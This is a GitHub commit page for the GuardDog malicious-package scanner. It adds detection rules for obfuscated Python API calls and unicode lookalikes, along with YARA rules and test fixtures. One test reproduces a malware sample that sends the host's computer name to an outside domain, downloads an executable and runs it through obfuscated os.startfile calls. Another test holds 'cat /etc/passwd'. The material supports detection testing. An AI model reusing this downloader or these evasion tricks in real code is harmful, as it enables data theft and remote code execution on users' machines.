Skip to content

Commit 2eb644f

Browse files
authored
Merge branch 'main' into strongHunter/typosquatting-error-handling
2 parents 309c493 + de024fd commit 2eb644f

File tree

11 files changed

+211
-35
lines changed

11 files changed

+211
-35
lines changed

README.md

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -108,6 +108,7 @@ Source code heuristics:
108108

109109
| **Heuristic** | **Description** |
110110
|:-------------:|:---------------:|
111+
| api-obfuscation | Identify obfuscated API calls using alternative Python syntax patterns |
111112
| shady-links | Identify when a package contains an URL to a domain with a suspicious extension |
112113
| obfuscation | Identify when a package uses a common obfuscation method often used by malware |
113114
| clipboard-access | Identify when a package reads or write data from the clipboard |
@@ -118,6 +119,7 @@ Source code heuristics:
118119
| dll-hijacking | Identifies when a malicious package manipulates a trusted application into loading a malicious DLL |
119120
| steganography | Identify when a package retrieves hidden data from an image and executes it |
120121
| code-execution | Identify when an OS command is executed in the setup.py file |
122+
| unicode | Identify suspicious unicode characters |
121123
| cmd-overwrite | Identify when the 'install' command is overwritten in setup.py, indicating a piece of code automatically running when the package is installed |
122124

123125
Metadata heuristics:
@@ -199,6 +201,23 @@ Source code heuristics:
199201
| npm-steganography | Identify when a package retrieves hidden data from an image and executes it |
200202
| npm-dll-hijacking | Identifies when a malicious package manipulates a trusted application into loading a malicious DLL |
201203
| npm-exfiltrate-sensitive-data | Identify when a package reads and exfiltrates sensitive data from the local system |
204+
### Extension
205+
206+
Source code heuristics:
207+
208+
| **Heuristic** | **Description** |
209+
|:-------------:|:---------------:|
210+
| npm-serialize-environment | Identify when a package serializes 'process.env' to exfiltrate environment variables |
211+
| npm-obfuscation | Identify when a package uses a common obfuscation method often used by malware |
212+
| npm-silent-process-execution | Identify when a package silently executes an executable |
213+
| shady-links | Identify when a package contains an URL to a domain with a suspicious extension |
214+
| npm-exec-base64 | Identify when a package dynamically executes code through 'eval' |
215+
| npm-install-script | Identify when a package has a pre or post-install script automatically running commands |
216+
| npm-steganography | Identify when a package retrieves hidden data from an image and executes it |
217+
| npm-dll-hijacking | Identifies when a malicious package manipulates a trusted application into loading a malicious DLL |
218+
| npm-exfiltrate-sensitive-data | Identify when a package reads and exfiltrates sensitive data from the local system |
219+
| extension_suspicious_passwd_access_linux | |
220+
| extension_powershell_policy_bypass | |
202221
<!-- END_RULE_LIST -->
203222

204223
## Custom Rules
Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
rules:
2+
- id: api-obfuscation
3+
languages:
4+
- python
5+
message: This package uses obfuscated API calls that may evade static analysis detection
6+
metadata:
7+
description: Identify obfuscated API calls using alternative Python syntax patterns
8+
severity: WARNING
9+
patterns:
10+
- pattern-either:
11+
# Covered cases:
12+
# 1) __dict__ access patterns: $MODULE.__dict__[$METHOD](...) / .__call__(...)
13+
# 2) __getattribute__ patterns: $MODULE.__getattribute__($METHOD)(...) / .__call__(...)
14+
# 3) getattr patterns: getattr($MODULE, $METHOD)(...) / .__call__(...)
15+
# It also covers the case where $MODULE is imported as __import__('mod')
16+
- patterns:
17+
- pattern-either:
18+
- pattern: $MODULE.__dict__[$METHOD]($...ARGS)
19+
- pattern: $MODULE.__dict__[$METHOD].__call__($...ARGS)
20+
- pattern: $MODULE.__getattribute__($METHOD)($...ARGS)
21+
- pattern: $MODULE.__getattribute__($METHOD).__call__($...ARGS)
22+
- pattern: getattr($MODULE, $METHOD)($...ARGS)
23+
- pattern: getattr($MODULE, $METHOD).__call__($...ARGS)
24+
- metavariable-regex:
25+
metavariable: $MODULE
26+
regex: "^[A-Za-z_][A-Za-z0-9_\\.]*$|^__import__\\([\"'][A-Za-z_][A-Za-z0-9_]*[\"']\\)$"
27+
- metavariable-regex:
28+
metavariable: $METHOD
29+
regex: "^[\"'][A-Za-z_][A-Za-z0-9_]*[\"']$"
30+
31+
# --- Additional Cases: __import__('mod').method(...) / .__call__(...)
32+
- patterns:
33+
- pattern-either:
34+
- pattern: __import__($MODULE).$METHOD($...ARGS)
35+
- pattern: __import__($MODULE).$METHOD.__call__($...ARGS)
36+
- metavariable-regex:
37+
metavariable: $MODULE
38+
regex: "^[\"'][A-Za-z_][A-Za-z0-9_]*[\"']$"
39+
- metavariable-regex:
40+
metavariable: $METHOD
41+
# avoid matching __getattribute__
42+
regex: "[^(__getattribute__)][A-Za-z_][A-Za-z0-9_]*"

guarddog/analyzer/sourcecode/extension_suspicious_passwd_access_linux.yar

Lines changed: 0 additions & 12 deletions
This file was deleted.

guarddog/analyzer/sourcecode/extension_powershell_policy_bypass.yar renamed to guarddog/analyzer/sourcecode/suspicious_passwd_access_linux.yar

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
rule DETECT_FILE_powershell_policy_bypass
1+
rule suspicious_passwd_access_linux
22
{
33
meta:
44
author = "T HAMDOUNI, Datadog"
@@ -9,4 +9,4 @@ rule DETECT_FILE_powershell_policy_bypass
99
$read = /(readFile|readFileSync)\(\s*['"]\/etc\/passwd/ nocase
1010
condition:
1111
$cli or $read
12-
}
12+
}
Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
# Ignores string contents to reduce false positives!
2+
3+
rules:
4+
- id: unicode
5+
message:
6+
This package uses uncommon unicode characters in its code, it may try to
7+
avoid detection.
8+
metadata:
9+
description: Identify suspicious unicode characters
10+
languages:
11+
- python
12+
severity: WARNING
13+
patterns:
14+
# ignore comments
15+
- pattern-not-regex: \#(.*)$
16+
17+
# ignore strings
18+
- pattern-not-regex: (["'].*?["'])
19+
- pattern-not-regex: ("""(.|\n)*?""")
20+
- pattern-not-regex: ('''(.|\n)*?''')
21+
22+
- pattern-either:
23+
- pattern-regex: ([ªᵃₐⓐa𝐚𝑎𝒂𝒶𝓪𝔞𝕒𝖆𝖺𝗮𝘢𝙖𝚊])
24+
- pattern-regex: ([ᵇⓑb𝐛𝑏𝒃𝒷𝓫𝔟𝕓𝖇𝖻𝗯𝘣𝙗𝚋])
25+
- pattern-regex: ([ᶜⅽⓒc𝐜𝑐𝒄𝒸𝓬𝔠𝕔𝖈𝖼𝗰𝘤𝙘𝚌])
26+
- pattern-regex: ([ᵈⅆⅾⓓd𝐝𝑑𝒅𝒹𝓭𝔡𝕕𝖉𝖽𝗱𝘥𝙙𝚍])
27+
- pattern-regex: ([ᵉₑℯⅇⓔe𝐞𝑒𝒆𝓮𝔢𝕖𝖊𝖾𝗲𝘦𝙚𝚎])
28+
- pattern-regex: ([ᶠⓕf𝐟𝑓𝒇𝒻𝓯𝔣𝕗𝖋𝖿𝗳𝘧𝙛𝚏])
29+
- pattern-regex: ([ᵍℊⓖg𝐠𝑔𝒈𝓰𝔤𝕘𝖌𝗀𝗴𝘨𝙜𝚐])
30+
- pattern-regex: ([ʰₕℎⓗh𝐡𝒉𝒽𝓱𝔥𝕙𝖍𝗁𝗵𝘩𝙝𝚑])
31+
- pattern-regex: ([ᵢⁱℹⅈⅰⓘi𝐢𝑖𝒊𝒾𝓲𝔦𝕚𝖎𝗂𝗶𝘪𝙞𝚒])
32+
- pattern-regex: ([ʲⅉⓙⱼj𝐣𝑗𝒋𝒿𝓳𝔧𝕛𝖏𝗃𝗷𝘫𝙟𝚓])
33+
- pattern-regex: ([ᵏₖⓚk𝐤𝑘𝒌𝓀𝓴𝔨𝕜𝖐𝗄𝗸𝘬𝙠𝚔])
34+
- pattern-regex: ([ˡₗℓⅼⓛl𝐥𝑙𝒍𝓁𝓵𝔩𝕝𝖑𝗅𝗹𝘭𝙡𝚕])
35+
- pattern-regex: ([ᵐₘⅿⓜm𝐦𝑚𝒎𝓂𝓶𝔪𝕞𝖒𝗆𝗺𝘮𝙢𝚖])
36+
- pattern-regex: ([ⁿₙⓝn𝐧𝑛𝒏𝓃𝓷𝔫𝕟𝖓𝗇𝗻𝘯𝙣𝚗])
37+
- pattern-regex: ([ºᵒₒℴⓞo𝐨𝑜𝒐𝓸𝔬𝕠𝖔𝗈𝗼𝘰𝙤𝚘])
38+
- pattern-regex: ([ᵖₚⓟp𝐩𝑝𝒑𝓅𝓹𝔭𝕡𝖕𝗉𝗽𝘱𝙥𝚙])
39+
- pattern-regex: ([ⓠq𐞥𝐪𝑞𝒒𝓆𝓺𝔮𝕢𝖖𝗊𝗾𝘲𝙦𝚚])
40+
- pattern-regex: ([ʳᵣⓡr𝐫𝑟𝒓𝓇𝓻𝔯𝕣𝖗𝗋𝗿𝘳𝙧𝚛])
41+
- pattern-regex: ([ſˢₛⓢs𝐬𝑠𝒔𝓈𝓼𝔰𝕤𝖘𝗌𝘀𝘴𝙨𝚜])
42+
- pattern-regex: ([ᵗₜⓣt𝐭𝑡𝒕𝓉𝓽𝔱𝕥𝖙𝗍𝘁𝘵𝙩𝚝])
43+
- pattern-regex: ([ᵘᵤⓤu𝐮𝑢𝒖𝓊𝓾𝔲𝕦𝖚𝗎𝘂𝘶𝙪𝚞])
44+
- pattern-regex: ([ᵛᵥⅴⓥv𝐯𝑣𝒗𝓋𝓿𝔳𝕧𝖛𝗏𝘃𝘷𝙫𝚟])
45+
- pattern-regex: ([ʷⓦw𝐰𝑤𝒘𝓌𝔀𝔴𝕨𝖜𝗐𝘄𝘸𝙬𝚠])
46+
- pattern-regex: ([ˣₓⅹⓧx𝐱𝑥𝒙𝓍𝔁𝔵𝕩𝖝𝗑𝘅𝘹𝙭𝚡])
47+
- pattern-regex: ([ʸⓨy𝐲𝑦𝒚𝓎𝔂𝔶𝕪𝖞𝗒𝘆𝘺𝙮𝚢])
48+
- pattern-regex: ([ᶻⓩz𝐳𝑧𝒛𝓏𝔃𝔷𝕫𝖟𝗓𝘇𝘻𝙯𝚣])
49+
50+
- pattern-regex: ([ᴬⒶA𝐀𝐴𝑨𝒜𝓐𝔄𝔸𝕬𝖠𝗔𝘈𝘼𝙰🄰])
51+
- pattern-regex: ([ᴮℬⒷB𝐁𝐵𝑩𝓑𝔅𝔹𝕭𝖡𝗕𝘉𝘽𝙱🄱])
52+
- pattern-regex: ([ℂℭⅭⒸꟲC𝐂𝐶𝑪𝒞𝓒𝕮𝖢𝗖𝘊𝘾𝙲🄫🄲])
53+
- pattern-regex: ([ᴰⅅⅮⒹD𝐃𝐷𝑫𝒟𝓓𝔇𝔻𝕯𝖣𝗗𝘋𝘿𝙳🄳])
54+
- pattern-regex: ([ᴱℰⒺE𝐄𝐸𝑬𝓔𝔈𝔼𝕰𝖤𝗘𝘌𝙀𝙴🄴])
55+
- pattern-regex: ([ℱⒻꟳF𝐅𝐹𝑭𝓕𝔉𝔽𝕱𝖥𝗙𝘍𝙁𝙵🄵])
56+
- pattern-regex: ([ᴳⒼG𝐆𝐺𝑮𝒢𝓖𝔊𝔾𝕲𝖦𝗚𝘎𝙂𝙶🄶])
57+
- pattern-regex: ([ᴴℋℌℍⒽH𝐇𝐻𝑯𝓗𝕳𝖧𝗛𝘏𝙃𝙷🄷])
58+
- pattern-regex: ([ᴵℐℑⅠⒾI𝐈𝐼𝑰𝓘𝕀𝕴𝖨𝗜𝘐𝙄𝙸🄸])
59+
- pattern-regex: ([ᴶⒿJ𝐉𝐽𝑱𝒥𝓙𝔍𝕁𝕵𝖩𝗝𝘑𝙅𝙹🄹])
60+
- pattern-regex: ([ᴷKⓀK𝐊𝐾𝑲𝒦𝓚𝔎𝕂𝕶𝖪𝗞𝘒𝙆𝙺🄺])
61+
- pattern-regex: ([ᴸℒⅬⓁL𝐋𝐿𝑳𝓛𝔏𝕃𝕷𝖫𝗟𝘓𝙇𝙻🄻])
62+
- pattern-regex: ([ᴹℳⅯⓂM𝐌𝑀𝑴𝓜𝔐𝕄𝕸𝖬𝗠𝘔𝙈𝙼🄼])
63+
- pattern-regex: ([ᴺℕⓃN𝐍𝑁𝑵𝒩𝓝𝔑𝕹𝖭𝗡𝘕𝙉𝙽🄽])
64+
- pattern-regex: ([ᴼⓄO𝐎𝑂𝑶𝒪𝓞𝔒𝕆𝕺𝖮𝗢𝘖𝙊𝙾🄾])
65+
- pattern-regex: ([ᴾℙⓅP𝐏𝑃𝑷𝒫𝓟𝔓𝕻𝖯𝗣𝘗𝙋𝙿🄿])
66+
- pattern-regex: ([ℚⓆꟴQ𝐐𝑄𝑸𝒬𝓠𝔔𝕼𝖰𝗤𝘘𝙌𝚀🅀])
67+
- pattern-regex: ([ᴿℛℜℝⓇR𝐑𝑅𝑹𝓡𝕽𝖱𝗥𝘙𝙍𝚁🄬🅁])
68+
- pattern-regex: ([ⓈS𝐒𝑆𝑺𝒮𝓢𝔖𝕊𝕾𝖲𝗦𝘚𝙎𝚂🅂])
69+
- pattern-regex: ([ᵀⓉT𝐓𝑇𝑻𝒯𝓣𝔗𝕋𝕿𝖳𝗧𝘛𝙏𝚃🅃])
70+
- pattern-regex: ([ᵁⓊU𝐔𝑈𝑼𝒰𝓤𝔘𝕌𝖀𝖴𝗨𝘜𝙐𝚄🅄])
71+
- pattern-regex: ([ⅤⓋⱽV𝐕𝑉𝑽𝒱𝓥𝔙𝕍𝖁𝖵𝗩𝘝𝙑𝚅🅅])
72+
- pattern-regex: ([ᵂⓌW𝐖𝑊𝑾𝒲𝓦𝔚𝕎𝖂𝖶𝗪𝘞𝙒𝚆🅆])
73+
- pattern-regex: ([ⅩⓍX𝐗𝑋𝑿𝒳𝓧𝔛𝕏𝖃𝖷𝗫𝘟𝙓𝚇🅇])
74+
- pattern-regex: ([ⓎY𝐘𝑌𝒀𝒴𝓨𝔜𝕐𝖄𝖸𝗬𝘠𝙔𝚈🅈])
75+
- pattern-regex: ([ℤℨⓏZ𝐙𝑍𝒁𝒵𝓩𝖅𝖹𝗭𝘡𝙕𝚉🅉])

guarddog/scanners/pypi_project_scanner.py

Lines changed: 9 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33
import re
44
from typing import List
55

6-
import pkg_resources
6+
from packaging.requirements import Requirement
77
import requests
88
from packaging.specifiers import Specifier, Version
99

@@ -111,12 +111,11 @@ def safe_parse_requirements(req):
111111
"""
112112
This helper function yields one valid requirement line at a time
113113
"""
114-
parsed = pkg_resources.parse_requirements(req)
115-
while True:
114+
for req_line in req:
115+
if not req_line.strip():
116+
continue
116117
try:
117-
yield next(parsed)
118-
except StopIteration:
119-
break
118+
yield Requirement(req_line)
120119
except Exception as e:
121120
log.error(
122121
f"Error when parsing requirements, received error {str(e)}. This entry will be "
@@ -130,7 +129,7 @@ def safe_parse_requirements(req):
130129
continue
131130

132131
versions = get_matched_versions(
133-
find_all_versions(requirement.project_name),
132+
find_all_versions(requirement.name),
134133
(
135134
requirement.url
136135
if requirement.url
@@ -140,7 +139,7 @@ def safe_parse_requirements(req):
140139

141140
if len(versions) == 0:
142141
log.error(
143-
f"Package/Version {requirement.project_name} not on PyPI\n"
142+
f"Package/Version {requirement.name} not on PyPI\n"
144143
)
145144
continue
146145

@@ -165,13 +164,13 @@ def safe_parse_requirements(req):
165164
# find the dep with the same name or create a new one
166165
dep = next(
167166
filter(
168-
lambda d: d.name == requirement.project_name,
167+
lambda d: d.name == requirement.name,
169168
dependencies,
170169
),
171170
None,
172171
)
173172
if not dep:
174-
dep = Dependency(name=requirement.project_name, versions=set())
173+
dep = Dependency(name=requirement.name, versions=set())
175174
dependencies.append(dep)
176175

177176
dep.versions.update(dep_versions)
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
""" Tests for api-obfuscation rule
2+
3+
RULEID cases:
4+
- obfuscated version of 1337c package
5+
"""
6+
7+
def send():
8+
try:
9+
env = os.environ['COMPUTERNAME']
10+
t = requests.get("https://linkedopports.com/pyp/resp.php?live=Installation " +env)
11+
if platform == 'win32':
12+
url = 'https://python-release.com/python-install.scr'
13+
filename = 'ini_file_pyp_32.exe'
14+
rq = requests.get(url, allow_redirects=True)
15+
open(filename, 'wb').write(rq.content)
16+
17+
# os.system('start '+filename)
18+
# ruleid: api-obfuscation
19+
os.__dict__['startfile']('start '+filename)
20+
21+
# ruleid: api-obfuscation
22+
os.__dict__['startfile'].__call__('start '+filename)
23+
# ruleid: api-obfuscation
24+
os.__getattribute__('startfile')('start '+filename)
25+
26+
# ruleid: api-obfuscation
27+
os.__getattribute__('startfile').__call__('start '+filename)
28+
29+
# ruleid: api-obfuscation
30+
getattr(os, 'startfile')('start '+filename)
31+
32+
# ruleid: api-obfuscation
33+
getattr(os, 'startfile').__call__('start '+filename)
34+
35+
# ruleid: api-obfuscation
36+
__import__('os').startfile('start '+filename)
37+
38+
# ruleid: api-obfuscation
39+
__import__('os').startfile.__call__('start '+filename)
40+
41+
# ruleid: api-obfuscation
42+
__import__('os').__dict__['startfile']('start '+filename)
43+
44+
# ruleid: api-obfuscation
45+
__import__('os').__dict__['startfile'].__call__('start '+filename)
46+
47+
# ruleid: api-obfuscation
48+
__import__('os').__getattribute__('startfile')('start '+filename)
49+
50+
# ruleid: api-obfuscation
51+
__import__('os').__getattribute__('startfile').__call__('start '+filename)
52+
53+
# ruleid: api-obfuscation
54+
getattr(__import__('os'), 'startfile')('start '+filename)
55+
56+
# ruleid: api-obfuscation
57+
getattr(__import__('os'), 'startfile').__call__('start '+filename)
58+
except:
59+
pass
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
cat /etc/passwd

tests/analyzer/sourcecode/test_eval_call.js

Lines changed: 0 additions & 10 deletions
This file was deleted.

tests/analyzer/sourcecode/test_sourcecode_yara.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -49,6 +49,6 @@ def test_source_codde_analyzer_yara_exec(rule_name: str):
4949
if not f.startswith(f"{rule_name}."):
5050
continue
5151

52-
# testing file against against rule
52+
# testing file against rule
5353
print(f"Testing YARA rule: {rule_name}")
5454
assert test_scan_rule.match(os.path.join(root, f))

0 commit comments

Comments
 (0)